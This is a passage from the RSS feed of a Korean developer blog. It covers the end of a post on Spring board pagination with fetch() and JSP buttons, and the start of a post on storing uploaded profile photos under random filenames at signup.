&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;470&quot; data-origin-height=&quot;36&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBve7E/btsOUfPaFHx/XnuDMZGorC3sbEgklGkcI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBve7E/btsOUfPaFHx/XnuDMZGorC3sbEgklGkcI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBve7E/btsOUfPaFHx/XnuDMZGorC3sbEgklGkcI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBve7E%2FbtsOUfPaFHx%2FXnuDMZGorC3sbEgklGkcI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;470&quot; height=&quot;36&quot; data-origin-width=&quot;470&quot; data-origin-height=&quot;36&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;그래서 위에 board/list/ 로 시작하는 어떠한 요청이 오더라도 일단 board/list.jsp를 포워딩해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 아까 보았듯이 게시물페이지 목록은 @RequestParam으로 처리할 예정이므로 ?기호와 page 파라미터에 값을 넣어주면서 요청을 보낸다. (일단 1페이지를 기본으로 보여주기 위해서 page를 고정값 1로 설정)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 pno 변수에 식을 통해 맨 마지막에 page 파라미터에 값을 pno에 할당 받을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;477&quot; data-origin-height=&quot;20&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFFkWY/btsOWIowqyM/9oLFB6bWhEoA7fWUrKTNc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFFkWY/btsOWIowqyM/9oLFB6bWhEoA7fWUrKTNc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFFkWY/btsOWIowqyM/9oLFB6bWhEoA7fWUrKTNc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFFkWY%2FbtsOWIowqyM%2F9oLFB6bWhEoA7fWUrKTNc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;477&quot; height=&quot;20&quot; data-origin-width=&quot;477&quot; data-origin-height=&quot;20&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 fetch 함수에 파라미터로 사용되는 url의 경우, 서버측 BoardApiController 클래스 내에 api/board/?page=3 과 같은 형식으로 요청을 받을 준비를 하고 있으므로 아까 추출한 pno 값을 ${} EL을 통해 url을 구성하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fetch함수를 통해서 몇번 페이지 요청을 보냈는지 pno를 보내고 pno번째 페이지에 해당하는 출력 게시물 5개와 페이지네이션에 필요한 pageVo 객체를 resp로 리턴받는다. json 형식으로 온 데이터를 json()&amp;nbsp; 메서드를 통해서 서버에서 반환할 때의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자료형인 map자료형으로 파싱해주고, 내가 채우려는 tb태그 내에 innerHTML을 통해서 게시물 5개를&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;for of 문을 통해서 출력해주고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 다른 페이지에 이동을 위해서 페이지네이션 버튼을 만들어주어야 한다 .&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;357&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QogXX/btsOWip8jZS/2VNORmkax4ZMKxvMzYHKrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QogXX/btsOWip8jZS/2VNORmkax4ZMKxvMzYHKrk/img.png&quot; data-alt=&quot;페이지네이션 버튼 구현&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QogXX/btsOWip8jZS/2VNORmkax4ZMKxvMzYHKrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQogXX%2FbtsOWip8jZS%2F2VNORmkax4ZMKxvMzYHKrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;875&quot; height=&quot;357&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;357&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;페이지네이션 버튼 구현&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;list.jsp에서 글 목록 아래에 버튼목록을 넣어줄 공간의 태그에 id로 page-area 값으로 지정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 태그 안에다가 &amp;lt;button&amp;gt; 태그를 통해서 onclick으로 /board/list/?page=${}으로 설정하여 내가 원하는 페이지를 포워딩 해주도록 버튼을 만들 수 있다. 내가 설정한 버튼 개수는 5개이고, 보여지는 5개의 페이지 말고 이전과 이후 버튼을 통해서 또다른 앞뒤 10개의 페이지를 바로 포워딩 해줄수 있도록 이전 다음 버튼을 설정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 현재 4번 페이지에 있다면 1번부터 5번까지 페이지 버튼이 보여야하고, 이전페이지는 0번을 가르키고 있으므로 필요가 없어서 조건문을 설정해 두었다. 그리고 이후 페이지는 6번 페이지를 보여주면서 6 ~ 10번의 버튼을 보여주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 페이지가 4번이라면 startPage는 1이들어가있고 endPage는 5이므로 1번부터 5번까지 페이지 버튼이 보일것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;맨 마지막에는 board/list/?page=4 와같은 페이지가 계속 포워딩 될때마다 바로바로 list() 메서드가 실행되면서 페이지가 보여져야 하므로 list() 메서드를 블록 밖에서 한번 적어주어 jsp 포워딩 마다 매번 실행되도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지 결과는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;383&quot; data-origin-height=&quot;438&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EIuKT/btsOVuq4Kc7/xSOSX7kmKmpjQeskr6DB9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EIuKT/btsOVuq4Kc7/xSOSX7kmKmpjQeskr6DB9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EIuKT/btsOVuq4Kc7/xSOSX7kmKmpjQeskr6DB9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEIuKT%2FbtsOVuq4Kc7%2FxSOSX7kmKmpjQeskr6DB9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;383&quot; height=&quot;438&quot; data-origin-width=&quot;383&quot; data-origin-height=&quot;438&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전버튼이 필요없는경우 이전 버튼이 보이지 않고,&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;405&quot; data-origin-height=&quot;441&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvZfdT/btsOUxPEuuP/0uR8Gf7D0apjIZLRjAhwEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvZfdT/btsOUxPEuuP/0uR8Gf7D0apjIZLRjAhwEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvZfdT/btsOUxPEuuP/0uR8Gf7D0apjIZLRjAhwEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvZfdT%2FbtsOUxPEuuP%2F0uR8Gf7D0apjIZLRjAhwEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;405&quot; height=&quot;441&quot; data-origin-width=&quot;405&quot; data-origin-height=&quot;441&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 버튼과 다음버튼이 필요한 경우에는 출력되는 결과를 얻을 수 있다.&lt;/p&gt;</description>
      <category>Spring</category>
      <author>jongh0</author>
      <guid isPermaLink="true">https://dev-jong.tistory.com/23</guid>
      <comments>https://dev-jong.tistory.com/23#entry23comment</comments>
      <pubDate>Fri, 27 Jun 2025 20:43:11 +0900</pubDate>
    </item>
    <item>
      <title>[Spring + Javascript] fetch()를 활용한 프로필 사진 설정하기(5)</title>
      <link>https://dev-jong.tistory.com/22</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;128&quot; data-origin-height=&quot;70&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dS8jED/btsOSgloKC9/xdL03wXajCZGsDckfzrVpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dS8jED/btsOSgloKC9/xdL03wXajCZGsDckfzrVpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dS8jED/btsOSgloKC9/xdL03wXajCZGsDckfzrVpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdS8jED%2FbtsOSgloKC9%2FxdL03wXajCZGsDckfzrVpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;128&quot; height=&quot;70&quot; data-origin-width=&quot;128&quot; data-origin-height=&quot;70&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요놈은 내 블로그 우측상단에 있는 아이콘으로 웹페이지 헤더로 설정되어 내 닉네임과 설정했던 프로필 사진을 보여주는 공간이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웬만해서 거의 모든 홈페이지에 계정이 있는 경우에 프로필 사진을 등록하고 사용하는 경우가 많다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 해당 게시물에서는 웹페이지에 계정이 등록될 때, 계정 정보와 더불어 프로필 사진에 대해 처리하고 웹페이지에 출력되는 기능을 알아보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[기능]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 회원가입 시, 계정 프로필 등록가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 티스토리 블로그와 동일하게 fixed 형태의 헤더 우측상단위에 로그인된 계정닉네임과 프로필 사진 보이도록 하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MemberApiController 회원가입 요청 처리 메서드를 살펴보자.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;842&quot; data-origin-height=&quot;451&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dhJXlP/btsOQBEBlkJ/Zp5xrxwHkiM6IZNa1PRzL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dhJXlP/btsOQBEBlkJ/Zp5xrxwHkiM6IZNa1PRzL0/img.png&quot; data-alt=&quot;MemberApiController join() 메서드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dhJXlP/btsOQBEBlkJ/Zp5xrxwHkiM6IZNa1PRzL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdhJXlP%2FbtsOQBEBlkJ%2FZp5xrxwHkiM6IZNa1PRzL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;842&quot; height=&quot;451&quot; data-origin-width=&quot;842&quot; data-origin-height=&quot;451&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;MemberApiController join() 메서드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;해당 메서드는 api/board 요청에 대해서 POST 방식으로 왔을 때, 실행되는 join() 메서드이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 해당 메서드에서는 사용자 웹 브라우저에서 사용자가 입력한 데이터, 그리고 첨부한 프로필 사진파일을 받아들여 db에 등록해주는 작업을 진행해야한다. 그래서 fetch 함수로 패킷을 전달할 때, body내에 담긴 formData 객체를 파라미터 로 받아서 메서드를 실행할 것이다.&amp;nbsp; (Map은 신경 꺼주세요 !!!!)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파라미터에 MemberVo vo에는 직접 타이핑해서 적은 아이디 비밀번호 닉네임에대한 정보가 들어있을 것이고, MultipartFile f 객체에는 파일이 담겨져 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;19&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2XSFk/btsOQ8Whdw8/HILUUhz7PJkIjdJeB0lbS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2XSFk/btsOQ8Whdw8/HILUUhz7PJkIjdJeB0lbS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2XSFk/btsOQ8Whdw8/HILUUhz7PJkIjdJeB0lbS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2XSFk%2FbtsOQ8Whdw8%2FHILUUhz7PJkIjdJeB0lbS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;813&quot; height=&quot;19&quot; data-origin-width=&quot;813&quot; data-origin-height=&quot;19&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;String divPath는 서버측 디렉토리 경로로 사용자가 업로드한 파일을 어느 디렉토리에 저장할지에 대한 경로 문자열이 담겨있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;414&quot; data-origin-height=&quot;19&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4ONNW/btsORbSTbVm/kb4SspYjNhL9jkZcBFWdEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4ONNW/btsORbSTbVm/kb4SspYjNhL9jkZcBFWdEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4ONNW/btsORbSTbVm/kb4SspYjNhL9jkZcBFWdEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4ONNW%2FbtsORbSTbVm%2Fkb4SspYjNhL9jkZcBFWdEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;414&quot; height=&quot;19&quot; data-origin-width=&quot;414&quot; data-origin-height=&quot;19&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;String changeName은 FileUploader 클래스에 save라는 메서드에 사용자가 전달한 파일 객체, 그리고 서버측에서 파일을 저장할 경로를 파라미터로 사용하고 실행되어 반환받은 값이 들어간 변수이다. 사용자가 업로드 했을때의 파일명이 아닌 랜덤값을 합쳐서 만든 문자열과 업로드 했을 때의 확장자 일치를 위해서 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 메서드에서는 정확히 어떤 작업을 하는지 알아보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;343&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bq37iV/btsOQuk8p5J/7LpnrRZM2KIDpjLLXXKR3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bq37iV/btsOQuk8p5J/7LpnrRZM2KIDpjLLXXKR3k/img.png&quot; data-alt=&quot;FileUploader save()&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bq37iV/btsOQuk8p5J/7LpnrRZM2KIDpjLLXXKR3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbq37iV%2FbtsOQuk8p5J%2F7LpnrRZM2KIDpjLLXXKR3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;768&quot; height=&quot;343&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;343&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;FileUploader save()&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용했던 save() 메서드이다. 해당 함수에서는 일단 사용자가 올릴 때의 파일 확장자와 동일하게 서버측에서도 파일이 생성되어야 하므로 확장자를 추출하는 코드가 적혀있다. f.getOriginalFilename() 메서드를 통해서 사용자가 파일 첨부할 때의 원본 파일 명을 가져와서 &quot;\\.&quot; 으로 split() 메서드를 사용하였다. XXXX.png 와 같은 파일명 형식일 것이므로 &quot;\\.&quot; 으로 나누게 되면&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;{&quot;XXXX&quot;, &quot;png&quot;} 와 같이 맨 마지막 인덱스에 확장자가 오게될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 &quot;.&quot;이 아니라 &quot;\\.&quot;으로 나눈 이유는, split() 메서드는 내부적으로 정규표현식을 사용하는데, 정규표현식에서 &quot;모든 문자&quot;를 의미하기 때문이다. 그래서 자바에서는 점을 기준으로 나누기 위해서는 이스케이프 문자 &quot;\&quot;을 앞에 추가로 달아주어야 하고 &quot;\\.&quot;으로 해주어야 한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 돌아와서, 그렇게 ext 변수에는 .png .jpg 와 같은 문자열이 담기게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 아까 말했던 동일한 파일명이 저장되지 않도록 난수문자열에 확장자(ext)을 더해주어 파일명(changeName)을 초기화한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;savePath는 서버측 디렉토리에 파일을 어느 경로에 어느 파일명으로 저장할지에 대한 전체 경로 + 파일명으로 File() 생성자에 파라미터로 savePath를 설정해주어 해당 경로에 파일을 생성하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;459&quot; data-origin-height=&quot;79&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/v71Ln/btsORUiE4Lr/B4PHQj5jRTa3y4iisxqobk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/v71Ln/btsORUiE4Lr/B4PHQj5jRTa3y4iisxqobk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/v71Ln/btsORUiE4Lr/B4PHQj5jRTa3y4iisxqobk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fv71Ln%2FbtsORUiE4Lr%2FB4PHQj5jRTa3y4iisxqobk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;459&quot; height=&quot;79&quot; data-origin-width=&quot;459&quot; data-origin-height=&quot;79&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;f.transferTo(파일객체) 를 통해서 f에 담긴 파일내용을 전달한다. 마지막으로 반환으로는 경로없는 난수파일명(changeName)을 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;221&quot; data-origin-height=&quot;27&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kyFxf/btsORVaLoat/guPvACKif42SNbrWnwO50k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kyFxf/btsORVaLoat/guPvACKif42SNbrWnwO50k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kyFxf/btsORVaLoat/guPvACKif42SNbrWnwO50k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkyFxf%2FbtsORVaLoat%2FguPvACKif42SNbrWnwO50k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;221&quot; height=&quot;27&quot; data-origin-width=&quot;221&quot; data-origin-height=&quot;27&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;다시 MemberApiController로 돌아와서, 사용자가 회원가입시 입력한 데이터가 들어있는 vo에 방금 save() 메서드를 통해서 새롭게 만든 난수파일명이 없으므로, profile이라는 필드에 setter를 통해서 changeName을 할당하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 다음은 이전에 했던 회원가입 로직과 동일하게 Mapper까지 vo를 전달하여 Insert 명령문을 통해서 DB에 사용자가 설정한 아이디 비밀번호 닉네임 그리고 서버 디렉토리에 저장된 난수파일명까지 저장한다. 쿼리문 실행 결과를 다시 자바스크립트로 응답을 보내면서 서버측에서 메서드를 마무리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이제 그러면 서버측으로 요청을 보내고 서버측 응답을 받아들이는 자바스크립트 코드를 확인해보자&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
